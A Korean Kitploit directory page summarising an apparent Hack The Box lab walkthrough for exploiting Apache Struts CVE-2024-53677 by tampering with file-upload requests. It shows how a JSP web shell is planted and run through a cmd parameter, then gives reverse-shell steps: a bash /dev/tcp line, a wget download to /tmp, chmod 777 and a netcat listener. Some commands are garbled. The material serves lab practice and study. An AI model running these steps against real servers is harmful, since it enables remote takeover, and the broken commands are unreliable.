Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-53677-Exploitation — 파일 업로드 조작을 통한 Apache Struts CVE-2024-53677 RCE 악용에 대한 단계별 안내로, OGNL 인젝션, 페이로드 임베딩 및 리버스 셸 설정을 포함합니다. | Kitploit
도구/GitHubGitHub/hopsypopsy8/cve-2024-53677-exploitation
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice
GitHubhopsypopsy8/cve-2024-53677-exploitation

CVE-2024-53677-Exploitation

파일 업로드 조작을 통한 Apache Struts CVE-2024-53677 RCE 악용에 대한 단계별 안내로, OGNL 인젝션, 페이로드 임베딩 및 리버스 셸 설정을 포함합니다.

저장소 보기
51년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-53677 익스플로잇

파일 업로드를 통한 Apache Struts RCE

설명

CVE-2024-53677은 Apache Struts 2.0.0부터 6.4.0 이전 버전에 영향을 미치는 취약점입니다. ⚠️ 이 취약점은 Hack The Box 랩에서 악용되었습니다.

Apache Struts의 파일 업로드 로직에는 결함이 있습니다. 공격자는 파일 업로드 파라미터를 조작하여 경로 탐색을 가능하게 할 수 있으며, 특정 상황에서는 원격 코드 실행(RCE)을 수행하는 데 사용할 수 있는 악성 파일을 업로드할 수 있습니다. 🔗 참조: NIST NVD 항목

정찰

공격 벡터 식별

이미지
  1. 웹사이트에는 이미지 업로드 기능이 있습니다.
  2. 업로드된 파일은 ip/uploads/20250213_014317/starwars.png에 저장됩니다.
  3. 업로드에 성공하면 이미지의 공유 링크 URL은 ip/s/04ab2f40입니다.
  4. Apache Struts 버전 확인
  • 노출된 pom.xml에서 Apache Struts 6.3.0.1 확인
  • CVE-2024-53677에 취약한 것으로 확인됨

📸 pom.xml 노출:

추가된 파라미터는 Apache Struts가 입력 데이터를 처리하는 데 사용하는 OGNL(Object-Graph Navigation Language)을 악용합니다. FileUploadInterceptor는 실제 PNG 이미지를 처리하기 전에 이 파라미터를 처리하므로, 공격자가 요청을 조작하고 잠재적으로 임의 코드를 실행할 수 있습니다.

이미지

익스플로잇

파일 업로드 요청 변조

이 취약점을 악용하기 위해 BurpSuite와 Repeater 기능을 사용하여 전송하기 전에 패킷을 변조합니다. 아래에는 수정되지 않은 요청이 있습니다.

이미지

우리가 직면한 문제는 사이트가 [JPG, JPEG, PNG, GIF] 외의 파일 유형을 차단하고 /uploads 디렉터리의 모든 파일은 실행할 수 없다는 점입니다. 이러한 문제를 우회하기 위해 먼저 다른 파라미터를 추가합니다.

테스트

익스플로잇 마무리

수정된 파라미터를 추가한 후 서버 응답은 파일이 성공적으로 업로드되었음을 확인합니다. 그러나 파일 경로가 일반적인 업로드 디렉터리와 다르다는 것을 확인할 수 있습니다.

plshelp

페이로드 첨부

다음으로, 이미지 데이터 바로 아래이자 삽입된 파라미터 바로 앞에 페이로드를 추가하여 임베드합니다. 셸 페이로드는 🔗 참조: shell.jsp에서 얻을 수 있습니다. 또한 중요한 세부 사항 하나는 요청에 소문자 upload 대신 대문자 U가 포함된 "Upload"가 필요하다는 점입니다. 이는 🔗 참조: exploit.py에서 확인된 익스플로잇 구조를 따릅니다.

이러한 수정을 적용한 후 요청을 전송합니다. 서버는 유사하게 응답하며 성공적인 업로드를 확인하고 조정된 파일 경로를 반영합니다.

익스플로잇 탐색

이제 다음 URL로 이동하면 업로드된 셸과 상호 작용할 수 있습니다.

root@kitploit:~
 ip/shelll.jsp?action=cmd&cmd=id 
최종 셸

이 단계에서는 로컬에서 호스팅되는 웹 서버를 사용하여 리버스 셸을 구축할 수 있습니다. 간단한 방법은 Python을 사용하는 것입니다: python3 http.server -m 3004

다음으로, 기본 셸 스크립트(예: shell.sh)를 생성합니다. cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh

wget을 사용하여 다운로드합니다. wget http://ip_address/filename -O /tmp

다운로드 후 실행 권한을 부여합니다. chmod +777 /tmp/filename

그런 다음 nc(넷캣)을 사용하여 리버스 셸을 수신 대기합니다. nc -lvnp $PORT

마지막으로 실행합니다. ./filename

도구 다운로드